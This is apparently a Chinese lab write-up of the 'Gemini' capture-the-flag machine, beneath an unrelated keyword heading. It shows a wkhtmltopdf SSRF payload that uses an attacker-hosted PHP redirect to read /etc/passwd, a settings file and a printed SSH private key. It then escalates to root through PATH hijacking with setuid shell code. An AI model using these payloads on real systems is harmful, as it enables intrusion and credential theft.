網(wǎng)站開(kāi)發(fā)文檔管理工具韓國(guó)網(wǎng)站
難度 中 (個(gè)人認(rèn)為是高)
目標(biāo) root權(quán)限 一個(gè)flag
靶機(jī)啟動(dòng)環(huán)境為VMware
kali 192.168.152.56 靶機(jī) 192.168.152.64
信息收集
突破點(diǎn)大概就是web端了
web測(cè)試
訪問(wèn)主頁(yè)直接就是目錄遍歷
不過(guò)進(jìn)去后是一個(gè)正常的網(wǎng)頁(yè)
簡(jiǎn)單的試了幾個(gè)弱口令無(wú)果繼續(xù)信息收集
在主頁(yè)介紹了一下這個(gè)網(wǎng)站的作用是一個(gè)旨在讓員工查看他們的個(gè)人資料詳細(xì)信息,并允許他們將詳細(xì)信息導(dǎo)出為PDF的系統(tǒng)
通過(guò)目錄掃描掃描出了一些php文件但是大部分都打開(kāi)沒(méi)有內(nèi)容估計(jì)是沒(méi)有登錄沒(méi)有權(quán)限,但是有一個(gè)export.php的網(wǎng)頁(yè)訪問(wèn)有顯示
看著好像是管理員的一些信息
應(yīng)該是有個(gè)名為 Gemini 的管理員賬號(hào),難道是爆破密碼嗎
后面我抓包研究這個(gè)PDF發(fā)現(xiàn)了一個(gè)參數(shù)?filename=還以為是文件包含,測(cè)了半天發(fā)現(xiàn)也不存在,實(shí)在沒(méi)啥思路了只能去看一看wp
搞半天直接去github找源碼里面有默認(rèn)的賬號(hào)密碼。。。
這樣太沒(méi)意思了吧。。。
就這個(gè)網(wǎng)站
在install的時(shí)候應(yīng)該是默認(rèn)有個(gè)賬號(hào)
看著是弱口令,也許一開(kāi)始選擇爆破或許也會(huì)出來(lái),只不過(guò)這個(gè)網(wǎng)站有做了token驗(yàn)證需要寫腳本也有點(diǎn)麻煩
進(jìn)來(lái)后可以看到正是管理員的賬號(hào)
突破邊界
這里突破使用的方法我也是第一次遇到,當(dāng)時(shí)信息收集的時(shí)候也沒(méi)想過(guò)這個(gè)wkhtmltopdf會(huì)不會(huì)有什么漏洞
在actions中的編輯profile中會(huì)跳轉(zhuǎn)到之前的exports.php
可以查看到當(dāng)pdf的一些信息,可以看到使用的就是wkhtmltopdf
這個(gè)工具就是將html轉(zhuǎn)換為PDF,此命令行工具存在一個(gè)SSRF搭配文件包含的漏洞可以實(shí)現(xiàn)任意文件的讀取
在前期的測(cè)試中隊(duì)每個(gè)輸入點(diǎn)進(jìn)行一遍測(cè)試可以發(fā)現(xiàn)這個(gè)display name的位置存在xss也就是可以影響到前段的html
為了驗(yàn)證是否存在相關(guān)漏洞可以先在此位置嘗試能否加載遠(yuǎn)程的資源
<iframe src="http://ww.baidu.com"></iframe> 看能否加載百度
可以看到確實(shí)可以加載外部資源
既然可以遠(yuǎn)程文件包含那么可以嘗試本地文件包含,但是此漏洞需要配合一下ssrf,需要再攻擊機(jī)上寫個(gè)用來(lái)重定向的代碼讓靶機(jī)去解析。
所以先在攻擊機(jī)上面開(kāi)始apache服務(wù)以及有php語(yǔ)言的環(huán)境然后在/var/www/html下面創(chuàng)建一個(gè)ssrf.php(當(dāng)然能這樣實(shí)現(xiàn)還是因?yàn)檫@個(gè)wkhtmltopdf存在這種解析漏洞)
寫入
<?php header('location:file://'.$_REQUEST['url']); ?>
這個(gè)參數(shù)就可以用來(lái)指定具體的文件來(lái)讀取
然后開(kāi)啟apache
service apache2 start
然后回到頁(yè)面進(jìn)行編輯之前的注入點(diǎn)
<iframe src="http://192.168.152.56/ssrf.php?url=/etc/passwd"></iframe>
因?yàn)橹挥性趆tml轉(zhuǎn)為PDF才會(huì)觸發(fā)漏洞所以只能在export頁(yè)面查看
可以看到成功的實(shí)現(xiàn)了文件的讀取,就是框框有點(diǎn)小,而且還不能滑動(dòng)。
重新修改一下iframe的屬性把框框變大些
<iframe src="http://192.168.152.56/ssrf.php?url=/etc/passwd" width=800 height=4000></iframe>
現(xiàn)在就可以很舒服的讀取文件了
通過(guò)查看這個(gè)passwd發(fā)現(xiàn)只有root和gemini1兩個(gè)用戶能登錄,可以對(duì)gemini1進(jìn)行ssh的爆破,也可以繼續(xù)對(duì)靶機(jī)讀取一些敏感文件
在github上面查看源碼的時(shí)候其實(shí)在setting.php中出現(xiàn)了需要填寫的數(shù)據(jù)庫(kù)的賬號(hào)密碼的地方,是否可以嘗試讀取這些文件獲取這些來(lái)作為ssh的登錄密碼呢
但是需要猜測(cè)一下絕對(duì)路徑
/var/www/html/test2/inc/settings.php
<iframe src="http://192.168.152.56/ssrf.php?url=/var/www/html/test2/inc/settings.php" width=800 height=4000></iframe>
?
確實(shí)有密碼等信息不過(guò)拿去用來(lái)登錄可惜了都失敗了。。。
那么前面得知了gemini1用戶以及他的home目錄是否他開(kāi)啟了私鑰登錄可以嘗試去讀取一下他的私鑰或公鑰呢
/home/gemini1/.ssh/id_rsa
<iframe src="http://192.168.152.56/ssrf.php?url=/home/gemini1/.ssh/id_rsa" width=800 height=4000></iframe>
也是成功的讀取到了rsa了
-----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs 6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn 1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC 1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu 968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9 r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7 WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k= -----END RSA PRIVATE KEY-----?
當(dāng)然能不能登錄還是等看看靶機(jī)上有沒(méi)有公鑰,于是還在讀取一下.ssh/authorized_keys中有沒(méi)有對(duì)應(yīng)的公鑰
存在公鑰說(shuō)明是允許某個(gè)私鑰進(jìn)行登錄的,而且就屬于gemini1
那么就可以拿著私鑰去登錄了
一開(kāi)始還爆了個(gè)錯(cuò)誤發(fā)現(xiàn)是權(quán)限問(wèn)題,修改為600就可以了
提權(quán)
本次提權(quán)也是非常的有難度有細(xì)節(jié)。
首先進(jìn)行常見(jiàn)的幾種提權(quán)手法,看看內(nèi)核版本,試一試sudo發(fā)現(xiàn)都要密碼,看看是否有suid提權(quán)
并沒(méi)有看到我熟知的幾種可以直接用來(lái)提權(quán)的命令,然后可以一個(gè)一個(gè)去嘗試但是大部分命令都要密碼
直到嘗試了這個(gè)listinfo
這個(gè)命令比較奇怪,打印了網(wǎng)卡的信息,以及兩個(gè)端口的監(jiān)聽(tīng)情況和date信息,在網(wǎng)上搜索了一下也沒(méi)有這個(gè)命令很有可能是自己添加的
查看信息發(fā)現(xiàn)是一個(gè)elf的可執(zhí)行文件
使用strings查看elf中出現(xiàn)可打印的字符串信息
發(fā)現(xiàn)他應(yīng)該是將這個(gè)幾個(gè)命令的結(jié)果整合到了一起然后打印輸出
如果說(shuō)我們替換了其中的一些命令那么listinfo在執(zhí)行的時(shí)候是不是就會(huì)執(zhí)行替換后的命令,但是這里前三個(gè)命令都指定了具體的路徑并且這些文件都是當(dāng)前用戶沒(méi)有權(quán)限進(jìn)行修改的,只有最后一個(gè)date沒(méi)有指定具體的路徑給我們留下了可趁之機(jī)
用一段c代碼保存為date.c
作用是以root的權(quán)限開(kāi)啟一個(gè)bin/bash
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(){setuid(0);setgid(0);system("/bin/bash");}
然后使用gcc編譯
gcc date.c -o date
因?yàn)闆](méi)有date指定具體的路徑
在實(shí)際中date是根據(jù)環(huán)境變量中的路徑去找的,從左往右找,這里他的實(shí)際路徑在/bin下面
我們也無(wú)法對(duì)直接將date放到前面幾個(gè)變量中,不過(guò)可以直接導(dǎo)入新的環(huán)境變量
export PATH=/home/gemini1/:$PATH
這下他找date命令就會(huì)先到gemini1下面找了
一切準(zhǔn)備就緒后就可以再次運(yùn)行l(wèi)istinfo命令了
成功提權(quán)至root并且拿到flag
后記
????????也是很有難度的一次提權(quán),對(duì)于一個(gè)命令的猜測(cè)和探索,從而發(fā)現(xiàn)這樣的提權(quán)的方式,并且后續(xù)的利用date進(jìn)行提升權(quán)限直接用的c代碼編譯為可執(zhí)行成功也很有意思,要是獨(dú)立完成可能還真拿不下,不過(guò)又學(xué)到了新的姿勢(shì)。